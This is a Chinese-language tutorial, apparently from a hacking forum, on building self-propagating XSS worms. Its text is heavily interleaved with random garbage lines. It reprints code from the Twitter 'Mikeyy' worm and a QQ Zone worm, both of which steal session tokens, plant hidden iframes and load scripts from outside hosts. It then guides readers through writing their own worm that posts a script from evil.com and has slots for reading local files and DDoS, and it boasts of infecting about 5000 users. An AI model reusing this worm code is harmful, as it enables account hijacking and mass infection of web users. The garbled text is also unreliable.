8 V- @# U0 _3 w5 _5 }, e( H+ k! ?
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
/ Q! ?1 ~( \% _7 b  ], f
, s4 m% N7 @- S- u& b7 c- a$ k   2.   
6 ^' ]; p: k) M4 t% B) L' M  |, @; q
+ G" K! v* y$ L$ w2 f" v& s   3. function XHConn(){  

9 |" @7 P; K7 y8 p   4.   var _0x6687x2,_0x6687x3=false;  

) U: Q1 v8 G3 t  x3 H( M   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
9 E6 c0 E8 |% {  x2 h
6 }: _! V4 y# t   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
4 d1 C( [  q+ o' h! u
   8.   catch(e) { _0x6687x2=false; }; }; };  
% S% O2 z9 x/ G, `复制代码第六版:   1. function wait() {  
7 a% g# I9 Z" R0 @5 P
  m- g: q) `) [- K, D   2.   var content = document.documentElement.innerHTML;  
( {# t9 Y1 E' r0 Y9 m( J+ Q: |
   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
2 D6 I  A( \% J- l" U% e7 r
% D) `& S/ Z9 y4 \, n* t3 j   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

! m% p5 s; L7 W: _   6.   var authtoken=authreg.exec(content);  
8 n" @' ~, E$ h. D/ d
9 K$ o; G1 b: S& b$ t2 T( I  G   7.   var authtoken=authtoken[1];  
2 X; N1 G/ _5 b: N* J
5 M8 e0 i+ M/ ]4 v, u$ v: w   8.   var randomUpdate= new Array();  
# n5 d4 n7 A2 u. {# _
7 d9 b) g5 d' O3 R' m   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
9 B( r! u, s0 R
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
9 ~1 M+ W2 J, `* W
2 W0 A6 q; V* |; v& ^0 Z' g+ b  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

# X# k8 `' C9 M1 J9 i: d/ r  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
( T9 U9 a' G$ c# o. e1 F( D% V4 k* j
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

8 T. a; z! O2 Z& Y  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

1 y9 ^/ r6 q. I3 p1 |# g  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
. ~  J1 |+ @2 g( u1 z' u& d+ E* }
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
( O9 B1 H" n+ V1 d
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
; p  s8 y7 y" k- ]9 |. U
% r, ?& O5 I2 q  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
5 o8 X; i4 `# [) @
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

5 Z( a2 H+ I+ P& O  H  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

& w. Q6 Y( Y9 c9 k* X  24.     
! _7 t  k/ I& D  |
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

3 @% v7 A, R$ w; M  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
; m/ C& b5 Y: `& e# E; x
  27.     

# J+ f2 [. w' l6 |6 @  28.   var ajaxConn= new XHConn();  
# v2 T$ d; v, s8 A6 G2 [  Y& j
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
7 e: M6 m3 X/ r0 E
  30.   var _0xf81bx1c="Mikeyy";  

1 Z( G0 M; @4 c  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
) R: z& }$ y; E& n
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

9 e0 H8 i$ _& J* O2 b- g  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
* x4 Y# |: o  `" {1 l, O0 F, i
  35.   var XSS=urlencode(genXSS);  

4 ^! |. b9 ]- F6 Y* r  36.   var ajaxConn2= new XHConn();  

) k% p1 N1 ~( t! p- I8 ^& H  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
& p( L, i% c# ?5 o" Y
  38.     
' D* Y( h/ U) p. B
  39. } ;  

  40. setTimeout(wait(),5250);  
/ v# i2 a# G6 k9 q复制代码QQ空间XSSfunction killErrors() {return true;}

, K1 P7 A8 r6 b# Q2 \7 U2 G! n- l3 D! _window.onerror=killErrors;
; N. g  }" e1 t! n) d4 n( o6 ]
5 V; L9 u, w+ f& m! Y" W

7 U5 T- U: M1 J; {% S; u" gvar shendu;shendu=4;

9 E4 M: Y3 J/ L( {//---------------global---v------------------------------------------
( K4 M5 r! E  I% k& h+ r, ]
6 \/ A* C5 x5 p$ E% o& z, X//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
: c: z+ }( N, g
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

0 v' ]( |* c" f9 x/ j. w- g8 dvar myblogurl=new Array();var myblogid=new Array();
# n6 P' ]- f7 C3 w+ r8 M; l2 P: C$ J
        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
6 [: r( T5 |7 t# z/ H7 S
        gurl=gurl.substring(0,gurle+3);        

2 G( R# |0 u3 _7 J7 K! l0 w; V        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);
' j! R8 D, }' T; z: D; U& O
9 S: J) I) K( i5 O) G        cookieS=visitorID.indexOf(",");

7 K4 V7 }" T6 _$ N        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
0 ~! W6 _& ^6 c1 Q5 t
5 X$ ~4 k5 C2 l( e, J8 A" d        DOshuamy();
# ]5 d1 m6 l6 p6 |0 ^* ~. E- X: V
) n  T  i+ Z( ~9 w; @
. j( b$ w. I1 L7 ]' N: R0 d% ~
//挂马
( B$ @# j  b- o
) [+ O( m- c0 t) b9 c, tfunction DOshuamy(){

/ ?! L2 x0 C+ n6 K$ ^$ nvar ssr=document.getElementById("veryTitle");

4 J) q9 K: M4 l$ l1 J) s1 q* f; lssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
' Q0 _+ h6 ~' w6 X( _, H

) [# |+ [: p0 R1 T4 s0 l: d
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

7 K/ |6 @* e3 M   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
; H0 n- C, ~2 G/ l+ Z. A
$ K% {/ X: j# ]5 r1 w  @   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
5 v2 e, a' M# C9 \) [& z  v6 j
. P% P3 ^9 B9 y$ x7 ~! y     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
3 h' Y4 @5 c& G. h  X4 t' E
     xhr.send();guest=xhr.responseText;
2 j% f: t/ p) y* j4 H2 @0 t
$ M9 N& R1 E" ], Q     get_my_blogurl(guest);    //执行这个函数

3 k# r/ `, a$ E, d% u4 P    }

. S$ K  C" H, G}
% }: E: m5 Z7 R

2 [6 A  P9 P+ e, X% W5 F
$ ?% y8 f  h% Q7 z: Z//这里似乎是判断没有登录的

function get_my_blogurl(guest){
: [3 s* Z% ]0 I2 S( \& R
1 {1 w% E6 }2 e. d: I2 f" M' F0 r" {  var mybloglist=guest;

- n7 K" S) i" f: a5 T+ q  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
1 H8 o- l# r! Y" y6 Y# v2 ~  @
     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');
, {# S! z4 q. R" T2 _( S: q6 _
9 z( J+ r, d3 \5 X1 x" N" M: O         myblogid=mybloglist.substring(0,myurls);
" T0 ~, Z1 {* k  G5 X+ L
4 Q$ u: A& U) ?! W        }else{break;}
- f1 I; a4 U# y1 c% p, E. n- n) @
# E4 W, q8 n, z}
/ L# `4 p% S# _
get_my_testself();    //执行这个函数
) V7 w! ^# V- ^0 ^! L
}

* v2 U4 B! t7 I' t$ u) z. Y
: R; g9 F4 j3 M: R$ K) n9 ?8 }
//这里往哪跳就不知道了
3 y* v/ a  x& T& e5 a( L
( L: a/ i. N* lfunction get_my_testself(){

" M& K* V* J4 H. c) [; Y  for(i=0;i<myblogid.length;i++){    //获得blogid的值
% P$ f: j$ v8 ^0 e. P' E- [! Q3 n* |
6 [; V! x  o. U2 z      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
* X1 y& L) q9 E" T# c
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
4 O# }7 |  L6 Q
. B( z; Z5 C8 r' `1 H" q/ P0 D      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url
; M) r! ^$ G  f! T9 D- Q3 H5 f
              xhr2.send();

              guest2=xhr2.responseText;
! Y* d8 r' m- Z  j
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

. N# V% v# I5 f              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
/ |% ?' u9 z$ N
7 a5 X& t3 I, ?* I9 o8 K              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
, K5 e3 z% f' e
                targetblogurlid=myblogid;   
( m& L) o: a3 ~2 r0 a3 m
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
, v& M6 {& u1 h& z
                break;

               }

' H( h$ b- r$ Z! {: N              if(mycheckit=="-1"){

2 ]+ A* y* m/ C, S7 i                targetblogurlid=myblogid;
7 }5 m; I; G. T, @  T1 l9 o0 B
  y: J) V! |: u0 P% a                add_js(visitorID,targetblogurlid,gurl);    //执行它

% s1 r/ ^1 S* u. F/ e' b                break;

               }

+ _, n0 P. O5 S! W5 e1 H3 }6 l        }      

}

1 [* Q, T0 m# Y+ @. T3 r0 X! [( w* a}
5 T% |7 W' o% _$ H% i. v. y+ r

: M$ j) l$ v- N0 @, c
( v" {) |  }. u( p7 b7 L6 B//--------------------------------------  
+ }' w5 X  c4 _% C
: @" g/ [0 b5 m3 }: C//根据浏览器创建一个XMLHttpRequest对象
- [4 {$ s1 N% H6 [, ~& H
function createXMLHttpRequest(){

1 C! z, A# l: Z( ?& I4 }    var XMLhttpObject=null;  
& h# c! V  u) K8 D
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
( c1 x7 v5 g! M+ v' v2 F) m
    else  

- }- u" ]5 e. X% P( X" ~: C4 [      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

# n4 O( X4 S3 g+ k/ f        {  

            try  
! p7 n7 i7 [  W, d1 m% j1 e+ ]
            {  

                XMLhttpObject=new ActiveXObject(MSXML);  
4 [- z, n; n- w! @
& T/ X$ \0 F7 J4 p$ x/ e2 w( u                break;  
* _, L: O8 _2 q, v/ A
) r6 h6 e" q( C- r+ y! u            }  
, v: g" H  N) W8 x0 B
            catch (ex) {  
9 a& i& J; G/ [) U- r7 x! P1 _
            }  

         }  
* Y8 b1 R# f5 j6 d
      }
% d7 {  t: `* \8 S3 ^- Q. F
return XMLhttpObject;

6 Z4 f# M& H4 S/ V$ [$ O}  
8 l% U# g5 v" ~" \) K


//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){
. Y1 W! M6 y6 u, i
7 E* {+ ~0 e& H7 {# a. m7 Svar s2=document.createElement('script');

. x" H# }# g4 w6 Y* Ss2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

& q( G2 U) r4 b+ D( }  \" r$ C4 j& |s2.type='text/javascript';

9 d) A# o7 v2 `& E. l; L& i) ]document.getElementsByTagName('head').item(0).appendChild(s2);
0 x8 N7 `+ ^8 {5 W# k
. i# E4 i7 @5 N) p- L. r/ O6 @}


, o7 H8 S5 T+ {. f1 W
function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

$ Y- |% V& n. ]2 {s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
7 T5 M6 E( e+ V/ o' |* B
s2.type='text/javascript';
9 I; s  J3 e4 \: A
+ b. ~. o" x1 m6 X" `: @) E* adocument.getElementsByTagName('head').item(0).appendChild(s2);
. E& I) o! A% Y
4 T' N3 A1 R1 Q5 x# \- u3 B' V}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
% ?# W; Y3 p; A7 F0 A
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
9 R6 M" E) i/ i% E2 P
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
0 G) ?6 w$ o1 J

& M) q  e. n3 r* N8 `下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
4 ]" Y5 {  f+ x2 j) m# Q# D/ e
首先,自然是判断不同浏览器,创建不同的对象var request = false;
/ e% R/ Z% R+ y3 R" |4 E$ v
if(window.XMLHttpRequest) {
4 J2 q2 ^" _4 n4 i
request = new XMLHttpRequest();

8 a$ h2 R. J' @7 Hif(request.overrideMimeType) {

# x9 q% |8 T0 H* Z- hrequest.overrideMimeType('text/xml');

9 e/ P" Z" X: K}
9 d- F: j# q' I( {4 ^
( d5 z5 y( A' |} else if(window.ActiveXObject) {
/ m- m6 V3 M" X9 H9 S; w3 Y
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

) [- j! S% y5 `! i% Sfor(var i=0; i<versions.length; i++) {
( P( l4 j; v" n# H' b& s
/ Q* g, [4 o7 Y1 _( o- A1 Atry {
# h1 m, y' U4 a" d
7 \0 n5 I4 T1 m4 W& S" i* {" {" vrequest = new ActiveXObject(versions);

2 Y  k% [$ g* P) f* x4 `} catch(e) {}
: ^% a; {  C6 R0 F+ A! F' V$ f
2 P( b1 b. {+ o8 F}

3 x" y& |3 \4 g0 r/ n9 l/ T}

3 Y  a$ V/ }4 sxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);

6 I% S6 m, e3 z8 v! P* l+ Z. S        var Browser_Agent=navigator.userAgent;

        
  T/ |' I. [+ Z  X% Q
        var Actual_Version,Actual_Name;
4 ]% J5 X0 t0 u! Y& r8 P
        

! `) s4 i9 U' B8 O) I; R        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

$ j, Q$ K+ k& `" h# v* K# t, a        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
$ ^8 b- w6 `' O' T
8 T& X# r% |$ n3 S% X        

        if(is_NN){

            if(Browser_Version>=5.0){
. \/ M% C% c7 q: \- v8 g1 @  l
+ ~9 \& ]5 x, y* d                var Split_Sign=Browser_Agent.lastIndexOf("/");
4 z4 V3 P/ S0 l( J3 W' i
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

, |8 _) N1 Q$ Q) C5 y                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

& t6 U3 X' j8 P, G
( \- m3 _% ?& q0 R( N  {
7 m" k3 M9 Q# V4 L9 t3 u. _( Y" U                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

7 {) Z& q7 U1 w  N) |1 N, }; \$ l                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
9 x3 Q& @/ j& `6 m9 k+ @
( o' M! P9 C: H; j0 s+ P# G! z  _            }
5 a1 R% _' C) u/ s3 E# K
            else{
  ^4 |7 i! A- q9 y
7 g0 F% Z4 F/ J0 g) O2 J5 [                Actual_Version=Browser_Version;
4 f2 l2 `; a5 c. O
                Actual_Name=Browser_Name;
3 @& T; G) z. R# |  g3 t$ d
            }
- C7 T7 T! |6 ]( u, C- R" C
; T0 H9 J3 q/ O/ b" p1 U        }
" e5 Y3 `7 Y8 A9 ^# B6 v
        else if(is_IE){
; o5 I. L, E( h; M% \: f+ h- L
            var Version_Start=Browser_Agent.indexOf("MSIE");

5 C- _2 T- C: j. x2 {( Y' P# S+ ?            var Version_End=Browser_Agent.indexOf(";",Version_Start);
: p; a. ]% `8 k+ s8 n, v
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

5 K4 E) r& G8 ]& p2 t            Actual_Name=Browser_Name;

            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

+ D& N- K1 _$ p+ _5 M                Actual_Name+="(Maxthon)";
' ]& Z% s+ }9 e2 R" K" N2 f
- j* `4 z; `+ W            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
- K0 r. g/ W) U! q, n
" ^1 O5 U5 n0 g0 v                Actual_Name="Opera";
# }% H+ t. J9 y
                var tempstart=Browser_Agent.indexOf("Opera");
7 {1 D; c* s( Q- L
. _  f! F7 l/ t6 ]' {                var tempend=Browser_Agent.length;
) J$ G5 e- r: h. q
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
& T8 o" {0 C* s  m- J) ^
            }
# k; ?3 |" q7 M! E1 `( K
        }

& }0 v* y  i% d        else if(is_Ch){
" t" b, S' [- \
            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
4 ^4 H- B7 {% R7 U
* d% u" m5 o* `" l0 l            Actual_Name=Browser_Name;

* [5 Q. K, u0 b1 b            
3 w3 O- G3 I3 [+ s3 q8 p
, V& p7 s7 r# f( S9 E5 V5 S            if(Browser_Agent.indexOf("Maxthon")!=-1){
) i6 x6 P5 f, i6 I1 n5 P; h1 k7 R
                Actual_Name+="(Maxthon)";

            }
  J6 k7 |5 I. ]0 a$ v) S3 a# |) d' x
            else if(Browser_Agent.indexOf("Opera")!=-1){
0 F6 n( y9 E6 i
, I& z" j! h( B" R" |' [                Actual_Name="Opera";
6 T7 s8 }  z; q6 X/ Y
  `# X" k$ K4 `" Q! o                var tempstart=Browser_Agent.indexOf("Opera");
1 ]" A- X1 g: W2 w! S  S
                var tempend=Browser_Agent.length;
0 L2 Z/ \4 g% q0 B  m
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
( X, ^# ?7 U' {/ B- s) Q. X6 W
            }

/ g1 ]) F/ D2 \* ~        }
/ ?9 l: P3 o, F8 u! U- q' O4 P" X
        else{
/ o0 E; Z! @+ e" L/ d. `) X# ^' N
            Actual_Name="Unknown Navigator"

/ e' w* j5 J8 W* o/ `# p  m            Actual_Version="Unknown Version"
; m5 n" \# x* n! c
  }) A6 b8 l# H) M" B6 S; y/ @        }
, N9 v3 B: u) l7 V: |

3 N% k6 J$ D# V# \9 F1 N
0 H( `. E/ E, o% T# E! X, ^        navigator.Actual_Name=Actual_Name;
& A. y$ v; i& ?% b# c: V8 v; O" y
" U" B1 x* W6 g        navigator.Actual_Version=Actual_Version;
, b6 a' J6 S+ z5 _. B1 A/ Z) X
        

5 S7 c- g- D, Q6 Z- F7 r9 s9 H        this.Name=Actual_Name;
7 \# B) C. D: U6 I( n' E# ~- E! F
8 C) Z, v1 u. \( y' [. [2 b        this.Version=Actual_Version;
" D. g$ ~4 _4 m1 d$ ~; l, H' V. x
    }
1 F% ]7 _) B' M' i7 G
    browserinfo();

" v8 y4 v) X5 m' w, b' A6 D2 @9 Z' J    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
6 _3 e4 y  f* i4 l- p
; Q5 B$ U2 _0 O7 X    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
9 P7 c3 q& U* ]& X2 ?9 {& T6 i0 C
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
7 {; L3 X4 w, u# K/ ]  }& F
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
6 [3 ?# ^& I5 N复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
; E1 ?# W4 z0 ~7 R5 t# A复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
# G) G6 k. f# p1 ~& _- Z复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
+ G. y8 z9 u, g$ L
xmlHttpReq.send(null);
% A+ s# F" \( @
2 F$ r6 s, k% Xvar resource = xmlHttpReq.responseText;
3 s5 Z; a3 r  ]( @+ B
! C! y- [. C8 n# Dvar id=0;var result;
' B8 n: V) P) f& Q* R$ n6 i: a
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
$ P" E6 z: F6 Z9 w0 R3 g
- B5 C- ~1 {, U- x6 Owhile ((result = patt.exec(resource)) != null)  {

id++;

" Q" F1 v$ o% a- M* |2 A}
4 {' {# q# r- m1 q9 h9 [! w6 \! j& S复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
$ E: L1 X+ ^! V; j. G2 Z
" _* ~" y3 H9 d, u8 M5 X$ ono=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

7 j" `; t9 h! Zvar post="wd="+wd;

# ^; ]  x3 H( b8 j6 _! G! ~xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

: `' S$ {8 B- J# A' g; ?4 zxmlHttpReq.setRequestHeader("content-length",post.length);
  i  |1 {. @/ x
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
1 u# d- K/ Y" K6 F
. w$ ?8 c9 u# u- ]xmlHttpReq.send(post);

( f: u1 S  M2 D5 F}
  B; ?3 {* M$ {% V# f/ ?复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
8 x. R0 t; o3 t, [
# h, t3 ]9 C  M. @) d* [var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
/ z$ Z; t- B/ i" K* p' G( h
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;

) V3 q. o7 L) V& yxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
- T( b' A1 z3 N9 ]4 D- y( D
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.
9 \' u6 i1 W+ N3 j& f- l. k
; v, J4 ^) Q! N( R, _; w}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
% j& _6 O: I5 o' j" E) a


) b3 |7 A8 o( `+ z/ U本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
3 c2 {/ w- k1 M) \/ H5 A5 w蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

7 U* e& x+ N8 p, T+ y
! A" t7 ~  d2 E4 k% x
+ w2 x- l5 i" q+ t


6 u9 I8 O: }4 O8 l' I
: X  {% z: Q( E0 t4 J  f8 y
9 ~* O6 I6 r1 x1 a; X+ s3 d, i5 ]本文引用文档资料:

% u) k8 K9 H4 q0 h' K. m"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
, x+ c8 I9 L* l- \$ N# O7 n  X# {' v空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
+ k  f0 V. X- Q( ^0 h  v